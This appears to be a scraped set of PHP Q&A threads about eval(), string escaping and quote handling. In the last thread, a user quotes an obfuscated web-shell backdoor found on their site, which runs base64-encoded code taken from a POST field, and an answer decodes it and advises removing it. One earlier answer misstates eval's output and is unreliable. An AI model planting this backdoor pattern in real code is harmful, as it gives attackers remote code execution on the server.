Understanding the eval() function of php - php

I'm a designer trying to upgrade myself into a coder-designer. Lately I've been looking into some PHP codes and manuals, then I ran into an example code for the eval() function :
<?php
$string = 'cup';
$name = 'coffee';
$str = 'This is a $string with my $name in it.';
echo $str. "\n";
eval("\$str = \"$str\";");
echo $str. "\n";
?>
This is an example code of eval() function in official PHP website, and although it did help me understand the eval() function, I can't figure out how the example code works. to be more specific, I can't understand why
("\$str = \"$str\";")
results in a merged string.
I really can't figure out why this should work.

Ok, here is what we have:
eval("\$str = \"$str\";")
Look, the string is in double quotes: it means that the $ character will be interpreted as a variable start. So we screen this character with a backslash: \$, then it will "mean" just a normal dollar sign. Also, the double quotes inside the string had to be screened too.
In the end we are getting this string: (I changed the quotes to single so $ dont confuse you): '$str = "$str";'. Look, it looks more like a normal code now :)
Evaling it, PHP will do the following (I removed the outer quotes for convenience):
eval( $str = "$str" );
Notice the double quotes here, too. It means that the variable inside, again, will be parsed/interpreted.
As $str was originally == 'This is a $string with my $name in it.', it will be inserted into the expression, and now it will look like:
$str = "This is a $string with my $name in it.";
And, again, double quotes! It parses and substitutes variables $name and $string, giving us at the end:
$str = "This is a cup with my coffee in it."
Voila!
A mindbreaker, but a really good example to learn the mechanisms.

you should get two console.log like this
This is a $string with my $name in it.';
This is a $cup with my $coffe in it.';
Why? well first you print the value, of $str , without eval, and later, you eval them, basically this happens,
First.
Print $str, without eval.
This is a $string with my $name in it.';
Second
this piece of code, runs eval("\$str = \"$str\";");
Eval replace $string and $name. with the 2 new variables values, which are $cup and $coffe
Hope you get it

Related

Why backslash is present before variable in eval statement?

While learning PHP online I am stopped at this eval function please help me. Why is there is a slash before $str2 in eval statement?
<?php
$string = "beautiful";
$time = "winter";
$str = 'This is a $string $time morning!';
echo $str. "<br>";
eval("\$str2 = \"$str\";");
echo $str2;
?>
The slash escapes the dollar sign, else in double quotes the dollar signs starts a variable name.
echo $var; // print the content of $var
echo "$var"; // print the content of $var
echo "\$var"; // print '$var'
echo '$var'; // print '$var'
Other thing is that you should find another book/tutorial for studying. Usign eval is unrecommended and in this case bad.
The last two lines of your code should be:
$str2 = $str;
echo $str2;
OR just
echo $str;
eval parses a string as php code, if you would remove them, both $str and $str2 would be replaced by their contents before it would get parsed by eval.
So with backslashes it would parse
$str2 = "This is a beautiful winter morning!";
Without the backslash it would parse
undefined = "This is a beautiful winter morning!";
Because it help identify that variable is used and variable with backslash are recognized by Compiler and then variable name is replaced with the value that it represents.
Backslash used to recognize PHP specials characters. In this case, \$str2 indicating a string contain "$str" not a variable named $str which is value 'This is a $string $time morning!'. So \$ while printed as string $ not as a variable.

How to save "printf("\\n");" in php variable

I have a string (a c code) in a vairable. I want to print it php. But i don't why everything after double quotes in not printing.. pls help. Below is the code.
$answer_something='printf("\\n")';
echo $answer_something;
//OUTPUT: printf(
//WHAT I WANT TO PRINT IS printf("\\n");
The PHP syntax for strings is explained in the Strings chapter of the manual. To produce static strings with code samples into variables I'd go for nowdoc:
<?php
$str = <<<'EOD'
printf("\\n");
You can write almost anything you want. No 'escaping' "needed" \r \n \
EOD;
var_dump($str);
Of course, this does not apply if you read information from the $_POST superglobal array: the array will automatically contain whatever the user submitted.
How about using:
$x = 'printf("\\\\n");';
echo $x;
I suppose this is for some kind of trivia / questionnaire. You have to escape each backslash with 2 backslashes.
You can check the output here: http://ideone.com/fFvb28
try this:
$answer_something = $_POST['option'];
if($answer_something == '\\n'){
printf("\\n");
}

I got trouble with eval() function in php?

i have searched this function on google a lot. However, i can't understand this function clearly.
i have a example:
<?php
//eval dangerous to use
$motto="lksdfasdkf";
$str= "<h1>Welcome</h1><?php echo $motto;?><br/>";
echo $str.'<br />'; //result: welcome
eval("?>"." $str"."<?php echo $motto;"); //error
echo $str;
?>
eval() takes a string and evaluates it as PHP code. Here are some important points to note:
eval() takes PHP Code as it's argument -- not mixed HTML markup. Currently, you're passing a string containing HTML markup.
You don't need to add <?php ... ?> tags in the string. eval() already knows the argument is going to be PHP code (it's supposed to be), so you don't need to tell it
Here's a very short example:
$motto = "lksdfasdkf";
$str = 'echo $motto;';
eval($str); // => lksdfasdkf
Here, the string $str contains the literal string echo $motto;, which is a valid statement in PHP. When you call eval($str); the string gets evaluated as PHP code. In this case, it will echo the contents of the variable.
Note that this wouldn't work if you use double-quotes instead:
$motto = "lksdfasdkf";
$str = "echo $motto;";
eval($str);
If you have error reporting enabled, then you'll get the following error:
Notice: Use of undefined constant lksdfasdkf - assumed 'lksdfasdkf' in
The reason is that variables are not parsed when they're wrapped in single-quotes. When you use double-quotes to define your variable, the variable value gets interpolated into the resulting string, meaning $str will contain the literal string echo lksdfasdkf; -- which is not valid PHP code. The solution is to escape the dollar character to avoid it being interpreted as a variable:
$motto = "lksdfasdkf";
$str = "echo \$motto;";
eval($str); // => lksdfasdkf
eval — Evaluate a string as PHP code - your code also working fine
try
$motto="lksdfasdkf";
$str= "<h1>Welcome</h1>$motto<br/>";
echo $str.'<br />'; //result: welcome
eval("\$str = \"$motto\";");
echo $str;

Regex to match double quoted strings without variables inside php tags

Basically I need a regex expression to match all double quoted strings inside PHP tags without a variable inside.
Here's what I have so far:
"([^\$\n\r]*?)"(?![\w ]*')
and replace with:
'$1'
However, this would match things outside PHP tags as well, e.g HTML attributes.
Example case:
Here's my "dog's website"
<?php
$somevar = "someval";
$somevar2 = "someval's got a quote inside";
?>
<?php
$somevar3 = "someval with a $var inside";
$somevar4 = "someval " . $var . 'with concatenated' . $variables . "inside";
$somevar5 = "this php tag doesn't close, as it's the end of the file...";
it should match and replace all places where the " should be replaced with a ', this means that html attributes should ideally be left alone.
Example output after replace:
Here's my "dog's website"
<?php
$somevar = 'someval';
$somevar2 = 'someval\'s got a quote inside';
?>
<?php
$somevar3 = "someval with a $var inside";
$somevar4 = 'someval ' . $var . 'with concatenated' . $variables . 'inside';
$somevar5 = 'this php tag doesn\'t close, as it\'s the end of the file...';
It would also be great to be able to match inside script tags too...but that might be pushing it for one regex replace.
I need a regex approach, not a PHP approach. Let's say I'm using regex-replace in a text editor or JavaScript to clean up the PHP source code.
tl;dr
This is really too complex complex to be done with regex. Especially not a simple regex. You might have better luck with nested regex, but you really need to lex/parse to find your strings, and then you could operate on them with a regex.
Explanation
You can probably manage to do this.
You can probably even manage to do this well, maybe even perfectly.
But it's not going to be easy.
It's going to be very very difficult.
Consider this:
Welcome to my php file. We're not "in" yet.
<?php
/* Ok. now we're "in" php. */
echo "this is \"stringa\"";
$string = 'this is \"stringb\"';
echo "$string";
echo "\$string";
echo "this is still ?> php.";
/* This is also still ?> php. */
?> We're back <?="out"?> of php. <?php
// Here we are again, "in" php.
echo <<<STRING
How do "you" want to \""deal"\" with this STRING;
STRING;
echo <<<'STRING'
Apparently this is \\"Nowdoc\\". I've never used it.
STRING;
echo "And what about \\" . "this? Was that a tricky '\"' to catch?";
// etc...
Forget matching variable names in double quoted strings.
Can you just match all of the string in this example?
It looks like a nightmare to me.
SO's syntax highlighting certainly won't know what to do with it.
Did you consider that variables may appear in heredoc strings as well?
I don't want to think about the regex to check if:
Inside <?php or <?= code
Not in a comment
Inside a quoted quote
What type of quoted quote?
Is it a quote of that type?
Is it preceded by \ (escaped)?
Is the \ escaped??
etc...
Summary
You can probably write a regex for this.
You can probably manage with some backreferences and lots of time and care.
It's going to be hard and your probably going to waste a lot of time, and if you ever need to fix it, you aren't going to understand the regex you wrote.
See also
This answer. It's worth it.
Here's a function that utilizes the tokenizer extension to apply preg_replace to PHP strings only:
function preg_replace_php_string($pattern, $replacement, $source) {
$replaced = '';
foreach (token_get_all($source) as $token) {
if (is_string($token)){
$replaced .= $token;
continue;
}
list($id, $text) = $token;
if ($id === T_CONSTANT_ENCAPSED_STRING) {
$replaced .= preg_replace($pattern, $replacement, $text);
} else {
$replaced .= $text;
}
}
return $replaced;
}
In order to achieve what you want, you can call it like this:
<?php
$filepath = "script.php";
$file = file_get_contents($filepath);
$replaced = preg_replace_php_string('/^"([^$\{\n<>\']+?)"$/', '\'$1\'', $file);
echo $replaced;
The regular expression that's passed as the first argument is the key here. It tells the function to only transform strings to their single-quoted equivalents if they do not contain $ (embedded variable "$a"), { (embedded variable type 2 "{$a[0]}"), a new line, < or > (HTML tag end/open symbols). It also checks if the string contains a single-quote, and prevents the replacement to avoid situations where it would need to be escaped.
While this is a PHP solution, it's the most accurate one. The closest you can get with any other language would require you to build your own PHP parser in that language to some degree in order for your solution to be accurate.

How to decode this php code in one of my script

I had this in my php file. looks like some malware but i want to know what does it means
what its doing
<?php //cb6f82f3e4007bdaccf419abafab94c8
$_=
//system file do not delete
'CmlmKGlzc2V0KCRfUE9TVFsiY29kZSJdKSkKewogICAgZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsiY29kZSJdKSk7Cn0=';
//system file do not delete
$__ = "JGNvZGUgPSBiYXNlNjRfZGVjb2RlKCRfKTsKZXZhbCgkY29kZSk7";$___ = "\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";eval($___($__));
Have a look at base64_decode.
$___ stands for base64_decode. Then $__ is base64_decode'd and evaluated, which executes the following:
$code = base64_decode($_);
eval($code);
Which finally executes this:
if(isset($_POST["code"]))
{
eval(base64_decode($_POST["code"]));
}
I would recommend you to delete it and check other files if they are infected, too.
eval — Evaluate a string as PHP code
Caution
The eval() language construct is very dangerous because it allows
execution of arbitrary PHP code. Its use thus is discouraged. If you
have carefully verified that there is no other option than to use this
construct, pay special attention not to pass any user provided data
into it without properly validating it beforehand.
A short Example:
<?php
$string = 'cup';
$name = 'coffee';
$str = 'This is a $string with my $name in it.';
echo $str. "\n";
eval("\$str = \"$str\";");
echo $str. "\n";
?>
Output
This is a $string with my $name in it.
This is a cup with my coffee in it.

Categories